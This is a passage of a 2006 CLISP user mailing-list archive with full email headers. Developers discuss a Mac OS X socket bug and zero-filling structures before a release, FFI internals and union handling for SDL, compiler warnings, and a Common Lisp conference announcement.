Content-Transfer-Encoding: 7bit references: X-Originating-IP: 64.105.109.86/instID=228 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 06:39:04 2006 X-Original-Date: Tue, 17 Jan 2006 09:38:07 -0500 >clisp 2.37 has a bug on open :if-exists :append, so I want to release >2.38 ASAP. Cool! >the only blocker is the mac os x socket bug. >it has been reported that this bug was not present in 2.36, so the brute >force "fill everything with 0" patch will NOT go in. Sam, I must strenuously object to this line of thinking. You cannot prove the bug did not exist because you cannot prove that the structure didn't just happen to have 0s in the right places by accident. If you really want to prove that the 2.36 version was OK, you would have to assert that the structure's memory (not just the defined fields since padding is inaccessible from defined field access) was filled with something other than zeroes. Was it it 0xFF filled first? I strongly urge you to put the fill everything with 0 patch IN. We know it works, and anyone who has done software for as long as I (and you, all of us: we) have should know that uninitialized variable bugs can hide for a long, long time. That this wasn't caught until now doesn't make Mac OS X any less buggy before, nor does it indicate that anything more ominous happened than random stack garbage change the uninitialized values of the structure. --Doug From dimitrios.kapanikis@gmail.com Tue Jan 17 06:57:40 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EysGy-0003A8-UG for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 06:57:24 -0800 Received: from zproxy.gmail.com ([64.233.162.192]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EysGy-0005dQ-Vs for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 06:57:25 -0800 Received: by zproxy.gmail.com with SMTP id x3so1268747nzd for ; Tue, 17 Jan 2006 06:57:23 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=NYIMSZ8siQw/dRogTEnDV6M7XyRiiAPs2z0eBIgTfMIhKxjfxd5sZtJ8hmGI7fPSMmWJvw4Vaa5XTs+KsX6skR2iHPNwCbyFMUFcp21NxEgUw+6wbJYjN5grcL0qbvnEcJ91T9Fkd5Sk0BvF9SXw3hyMKE3mnMae0g0Z+rf2T2g= Received: by 10.65.253.11 with SMTP id f11mr3348103qbs; Tue, 17 Jan 2006 06:57:23 -0800 (PST) Received: by 10.65.216.6 with HTTP; Tue, 17 Jan 2006 06:57:23 -0800 (PST) Message-ID: <243236a40601170657j4a5703etc74717b85992054d@mail.gmail.com> From: Dimitrios Kapanikis To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <243236a40601100554n3c4a5a08te42c746aaeb98a6@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: creating new linking set fails, convert_to_foreign_nomalloc undefined Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 06:58:21 2006 X-Original-Date: Tue, 17 Jan 2006 15:57:23 +0100 well, i am using clisp2.35.1 for cygwin now and the error doesnt appear. the file where the error appeared is generated using clisp -c kivcparser.lisp convert_to_foreign_nomalloc doesnt exist in clisp/src/foreign.d in version 2.36 but but in 2.35.1 it still does. maybe you can fix it into 2.36 for compatibilty reasons. thanks Dimitrios Kapanikis From sds@gnu.org Tue Jan 17 06:59:27 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EysIl-0003Ni-Gb for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 06:59:15 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EysIj-0006nu-SV for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 06:59:15 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0HEwdgB016330; Tue, 17 Jan 2006 09:58:39 -0500 (EST) To: clisp-list@lists.sourceforge.net, Doug Philips Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9561874.1137508687768.JavaMail.dgou@mac.com> (Doug Philips's message of "Tue, 17 Jan 2006 09:38:07 -0500") References: <9561874.1137508687768.JavaMail.dgou@mac.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Doug Philips Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: mac os x socket problems and 2.38 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 07:00:32 2006 X-Original-Date: Tue, 17 Jan 2006 09:57:53 -0500 Doug, > * Doug Philips [2006-01-17 09:38:07 -0500]: > > I must strenuously object to this line of thinking. You cannot prove > the bug did not exist because you cannot prove that the structure > didn't just happen to have 0s in the right places by accident. > > If you really want to prove that the 2.36 version was OK, you would > have to assert that the structure's memory (not just the defined > fields since padding is inaccessible from defined field access) was > filled with something other than zeroes. Was it it 0xFF filled first? > > I strongly urge you to put the fill everything with 0 patch IN. We > know it works, and anyone who has done software for as long as I (and > you, all of us: we) have should know that uninitialized variable bugs > can hide for a long, long time. That this wasn't caught until now > doesn't make Mac OS X any less buggy before, nor does it indicate that > anything more ominous happened than random stack garbage change the > uninitialized values of the structure. sounds very convincing - if we assume that you are right and, indeed, the problem is uninitialized slots. the fact that the FILL0 patch fixes the bug does not prove it - just like the fact that 2.36 worked does not disprove it either (as you yourself pointed out). Now, to actually prove that FILL0 is TRT, you need, e.g., to apply it to 2.36 with 0 replaced with 0xFF and see if it breaks 2.36. You need to trace a "working" clisp against a "broken" one. BTW, what's the word from Apple - did you report the bug to them? Is it a documented behavior? What is the reference? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.jihadwatch.org http://www.dhimmi.com http://www.palestinefacts.org http://www.honestreporting.com Hard work has a future payoff. Laziness pays off NOW. From sds@gnu.org Tue Jan 17 07:04:28 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EysNl-0003rf-MY for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 07:04:25 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EysNj-0001CB-8w for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 07:04:25 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0HF3vLH016436; Tue, 17 Jan 2006 10:03:57 -0500 (EST) To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <243236a40601170657j4a5703etc74717b85992054d@mail.gmail.com> (Dimitrios Kapanikis's message of "Tue, 17 Jan 2006 15:57:23 +0100") References: <243236a40601100554n3c4a5a08te42c746aaeb98a6@mail.gmail.com> <243236a40601170657j4a5703etc74717b85992054d@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: creating new linking set fails, convert_to_foreign_nomalloc undefined Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 07:05:04 2006 X-Original-Date: Tue, 17 Jan 2006 10:03:06 -0500 > * Dimitrios Kapanikis [2006-01-17 15:57:23 +0100]: > > convert_to_foreign_nomalloc doesnt exist in clisp/src/foreign.d in > version 2.36 but but in 2.35.1 it still does. maybe you can fix it > into 2.36 for compatibilty reasons. no. convert_to_foreign() (and convert_to_foreign_nomalloc()) are CLISP internals, you cannot rely on them being present. if you want to use them, no one can stop you, but you will have to update your code when the CLISP internals change. look at the cvs diff that removed convert_to_foreign_nomalloc and see what it is replaced with and fix your code appropriately. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il http://www.jihadwatch.org http://truepeace.org http://www.openvotingconsortium.org http://ffii.org Those who value Life above Freedom are destined to lose both. From dimitrios.kapanikis@gmail.com Tue Jan 17 07:22:05 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eyseo-0004q4-9E for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 07:22:02 -0800 Received: from zproxy.gmail.com ([64.233.162.195]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eysem-000788-U8 for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 07:22:02 -0800 Received: by zproxy.gmail.com with SMTP id z3so1277745nzf for ; Tue, 17 Jan 2006 07:21:58 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=rOa9igRqm4eDxV0Cb2baSCjA3iz3creENJw0wG/WmK2R8upZ8lYOEUnag4MBR2NEYgpMyPiA6GDLouV/Jpg3AZuquu0L4W0BOSj07yU8/1bbQnPGvaxkVlFTuXf1RwHm1BE9uzX23b+qX0nj+eE8YqeDOEJjK1/AlV46I82IhIQ= Received: by 10.65.153.18 with SMTP id f18mr3854128qbo; Tue, 17 Jan 2006 07:21:58 -0800 (PST) Received: by 10.65.216.6 with HTTP; Tue, 17 Jan 2006 07:21:57 -0800 (PST) Message-ID: <243236a40601170721j420b2bd5h8c1a8c5dc55e331e@mail.gmail.com> From: Dimitrios Kapanikis To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <243236a40601100554n3c4a5a08te42c746aaeb98a6@mail.gmail.com> <243236a40601170657j4a5703etc74717b85992054d@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: creating new linking set fails, convert_to_foreign_nomalloc undefined Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 07:23:01 2006 X-Original-Date: Tue, 17 Jan 2006 16:21:57 +0100 okay, you are right. thank you Dimitrios Kapanikis From dgou@mac.com Tue Jan 17 07:36:01 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyssI-0005is-Vn for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 07:35:58 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EyssG-0002Tu-RG for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 07:35:59 -0800 Received: from smtpout.mac.com ([17.250.248.86]) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1EysPd-0003ub-KI for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 07:06:22 -0800 Received: from mac.com (webmail16-en1 [10.13.10.142]) by smtpout.mac.com (Xserve/8.12.11/smtpout04/MantshX 4.0) with ESMTP id k0HF5Prw013156 for ; Tue, 17 Jan 2006 07:05:25 -0800 (PST) Received: from webmail16 (localhost [127.0.0.1]) by mac.com (Xserve/webmail16/MantshX 4.0) with ESMTP id k0HF5PTk013871 for ; Tue, 17 Jan 2006 07:05:25 -0800 (PST) Message-ID: <16199003.1137510325292.JavaMail.dgou@mac.com> From: Doug Philips To: clisp-list@lists.sourceforge.net in-reply-to: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit references: <9561874.1137508687768.JavaMail.dgou@mac.com> X-Originating-IP: 64.105.109.86/instID=228 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: mac os x socket problems and 2.38 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 07:37:01 2006 X-Original-Date: Tue, 17 Jan 2006 10:05:25 -0500 Sam, >Now, to actually prove that FILL0 is TRT, you need, e.g., to apply it to >2.36 with 0 replaced with 0xFF and see if it breaks 2.36. >You need to trace a "working" clisp against a "broken" one. Assuming everything goes as planned, I should be able to grab a 2.36 tree tonight. We have four scenarios to test: 2.36 fill 0, 2.36 fill 0xFF, 2.37 fill 0, 2.37 fill 0xFF. (I will get to this as soon as I can, but if someone else can beat me to it, all the better!) >BTW, what's the word from Apple - did you report the bug to them? >Is it a documented behavior? >What is the reference? No, I think someone else was going to report it to Apple, but I don't have access to my email archives from work to double check who it was. (I'm terrible with names, sorry). I was pretty sure you and this other person had exchanged emails re: The first/third editions of Stevens saying that this 0fill was needed, etc. --Doug From sds@gnu.org Tue Jan 17 07:56:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EytCW-0006vu-9n for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 07:56:52 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EytCT-000084-KB for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 07:56:52 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0HFuClo019403; Tue, 17 Jan 2006 10:56:12 -0500 (EST) To: clisp-list@lists.sourceforge.net, Doug Philips Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16199003.1137510325292.JavaMail.dgou@mac.com> (Doug Philips's message of "Tue, 17 Jan 2006 10:05:25 -0500") References: <9561874.1137508687768.JavaMail.dgou@mac.com> <16199003.1137510325292.JavaMail.dgou@mac.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Doug Philips Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: mac os x socket problems and 2.38 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 07:57:15 2006 X-Original-Date: Tue, 17 Jan 2006 10:55:28 -0500 > * Doug Philips [2006-01-17 10:05:25 -0500]: > >>Now, to actually prove that FILL0 is TRT, you need, e.g., to apply it to >>2.36 with 0 replaced with 0xFF and see if it breaks 2.36. >>You need to trace a "working" clisp against a "broken" one. > > Assuming everything goes as planned, I should be able to grab a 2.36 > tree tonight. We have four scenarios to test: 2.36 fill 0, 2.36 fill > 0xFF, 2.37 fill 0, 2.37 fill 0xFF. Thanks. >>BTW, what's the word from Apple - did you report the bug to them? >>Is it a documented behavior? >>What is the reference? see http://www.macdevcenter.com/pub/a/mac/2002/12/26/cocoa.html?page=3 > No, I think someone else was going to report it to Apple, but I don't > have access to my email archives from work to double check who it > was. (I'm terrible with names, sorry). I was pretty sure you and this > other person had exchanged emails re: The first/third editions of > Stevens saying that this 0fill was needed, etc. Gregory Wright? Lennart Staflin? Dan Starr? all the erg files I have seen so far point to the 2005-12-19 socket-server patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il http://ffii.org http://www.honestreporting.com http://www.savegushkatif.org http://www.dhimmi.com Only adults have difficulty with child-proof caps. From sds@gnu.org Tue Jan 17 08:01:52 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EytHM-0007GL-7F for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 08:01:52 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EytHF-0003B9-K1 for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 08:01:49 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0HG1Fq4019501; Tue, 17 Jan 2006 11:01:16 -0500 (EST) To: clisp-list@lists.sourceforge.net, Bilbo Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5a69947e0601160824u534fda72k400ed72223bc8eaf@mail.gmail.com> (bilbo@hobbit-hole.org's message of "Mon, 16 Jan 2006 08:24:43 -0800") References: <5a69947e0601160824u534fda72k400ed72223bc8eaf@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bilbo Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Turning off "Replacing method warnings" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 08:02:09 2006 X-Original-Date: Tue, 17 Jan 2006 11:00:24 -0500 > * Bilbo [2006-01-16 08:24:43 -0800]: > > I was wondering if there is an easy way to turn off the "Replacing > method" warnings when recompiling a file? I don't think I can give you an outright answer, but here are some general hints: 1. start with the CLISP FAQ list http://clisp.cons.org/impnotes/faq.html 2. take a look at http://clisp.cons.org/impnotes/clisp.html#bugs and a specific hint: if you do not like a warning, try (setq *break-on-signals* 'warning) and look at the backtrace when you are thrown into the debugger. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org http://www.palestinefacts.org http://www.camera.org http://www.openvotingconsortium.org http://pmw.org.il Never trust a man who can count to 1024 on his fingers. From Joerg-Cyril.Hoehle@t-systems.com Tue Jan 17 10:02:43 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EyvAI-0006Yk-Sa for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 10:02:42 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EyvAE-000386-OI for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 10:02:39 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 17 Jan 2006 19:02:18 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 17 Jan 2006 19:02:18 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307E6A913@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: jeremy@decompiler.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] [comp.lang.lisp] Clisp, FFI and SDL - trying to pass in a union t o be filled Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 10:03:03 2006 X-Original-Date: Tue, 17 Jan 2006 19:02:18 +0100 Jeremy smith wrote in comp.lang.lisp >I'm trying to write an SDL (the graphics/sound gaming library) >application in Clisp, and I've managed to convert the header files okay, >with a bit of selective cutting and pasting and the use of ah2cl.lisp >(which seems to work!). >(ffi:def-c-type SDL_Event (ffi:c-union (type Uint8) ...) >(ffi:def-call-out SDL_WaitEvent > (:arguments (event (ffi:c-ptr SDL_Event)) This is not a correct definition. WaitEvent wants to fill the struct that it receives, whether the above implicitly uses :stack-allocation and throws away the result. You need either (event (ffi:c-ptr event) :out) or (event (ffi:c-pointer event)), or just (event ffi:c-pointer). The latter two work with foreign pointers and objects, while the former one uses a defstruct/defclass Lisp object to mirror the data. But the former cannot be sensibly used with unions. Read ahead. > (print (test:SDL_WaitEvent (test::make-sdl_event))) >*** - #S(TEST:SDL_EVENT :C-UNION NIL) cannot be converted to the foreign type FFI:UCHAR When using unions, the FFI will default to the first element. There's no means to tell the FFI which element of the union you are passing as a parameter, or receiving. When accessing unions for either read or write, there's no problem, since ffi:SLOT is used to select an element. But how could one combine SLOT with a function call? Therefore, I suggest to use an opaque c-pointer as argument to SDL-WaitEvent. Foreign objects of other types (e.g. the SDLEvent union type, or its individual constituents) will be happily accepted for a C-POINTER parameter. Once you have extracted the type, you could create CLOS objects for the subtypes and continue to work from them. Or you continue to work with references to foreign memory, still using the FFI. >The reason I want to use SDL with Clisp is that although I could use SDL >with Corman Common Lisp, there are other libraries related to SDL I need >to use, and Corman does not support these, and does not recognise FFI >files. I also prefer not to use a different Windows distribution of >Common Lisp per week, per application (for instance, the only way I could >find to get Aserve to run was on Lispworks). ;-) BTW, isn't there cl-sdl or some such package already? Wouldn't that work for you? I think I had that running some time ago with cmucl and clisp. Hope this helps, Jorg Hohle. From edi@agharta.de Tue Jan 17 15:39:01 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ez0Pl-0005Xx-06 for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 15:39:01 -0800 Received: from bat.dbdmedia.de ([195.4.1.85]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ez0Pj-0001m0-L1 for clisp-list@lists.sourceforge.net; Tue, 17 Jan 2006 15:39:01 -0800 Received: from GROUCHO (nat.dbdmedia.de [192.168.5.30]) by bat.dbdmedia.de (Postfix) with ESMTP id BE1183CC0BF for ; Wed, 18 Jan 2006 00:38:54 +0100 (CET) To: clisp-list@lists.sourceforge.net From: Edi Weitz X-Home-Page: http://weitz.de/ Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] European Common Lisp Meeting 2006 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 17 15:40:00 2006 X-Original-Date: Wed, 18 Jan 2006 00:38:52 +0100 ************************************* * European Common Lisp Meeting 2006 * * Hamburg, Germany * * April 30 * ************************************* Edi Weitz and Arthur Lemmens are proud to announce the European Common Lisp Meeting 2006. The meeting will consist of a Sunday full of talks, with optional dinners on Saturday and Sunday evening. More details (price, exact location, registration) will be announced soon, but please reserve the weekend of April 29/30 in your agenda now! The following talks will be given on Sunday, April 30: * Jans Aasman Franz, Inc (Oakland, California, USA) AllegroGraph: a large scale graph database applied to the Semantic Web and telecom fraud detection * James Anderson Ravenpack International (Marbella, Spain) Lisp tools for time series computations * Marco Antoniotti Department of Informatics, Systems and Communications, Universit=E0 Milano-Bicocca (Milan, Italy) NYU Courant Bioinformatics Group (New York, USA) GOALIE * Martin Cracauer ITA Software (Cambridge, Massachusetts, USA) Common Lisp in a high-performance search environment * Klaus Harbo Mu Aps (Farum, Denmark) cl-muproc: Erlang-inspired multiprocessing in Common Lisp * Arthur Lemmens Independent consultant (Amsterdam, The Netherlands) Rucksack: a flexible, lightweight, open source persistence library * David McClain Avisere Sensor Group, Inc. (Tucson, Arizona, USA) SigLab: a Lisp-based signal and image processing and modeling facility * Jim Newton, Thomas F. Burdick, Peter Herth, Bj=F6rn Lindberg Cadence Design Systems GmbH (Munich, Germany) The PCMan meta version control system: Common Lisp from top to bottom Looking forward to meeting you in Hamburg, Edi Weitz & Arthur Lemmens From alfredasky@zipmail.com.br Tue Jan 17 21:05:39 2006 Received: from sc8-sf-list2-b.sourceforge.net ([10.3.1.8] helo=sc8-sf-list2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ez5Vq-0004bR-Js; Tue, 17 Jan 2006 21:05:38 -0800 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list2.sourceforge.net with esmtp (Exim 4.30) id 1Ez5Vp-00041t-DP; Tue, 17 Jan 2006 21:05:37 -0800 Received: from [60.163.162.110] (helo=zipmail.com.br) by mail.sourceforge.net with smtp (Exim 4.44) id 1Ez5Vn-00081Y-IZ; Tue, 17 Jan 2006 21:05:37 -0800 Message-ID: <5FF55876.DF33636@zipmail.com.br> Reply-To: "Sree" From: "Sree" User-Agent: AOL 7.0 for Windows US sub 118 X-Accept-Language: en-us MIME-Version: 1.0 To: "Lemuel" Cc: , , , , , , Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 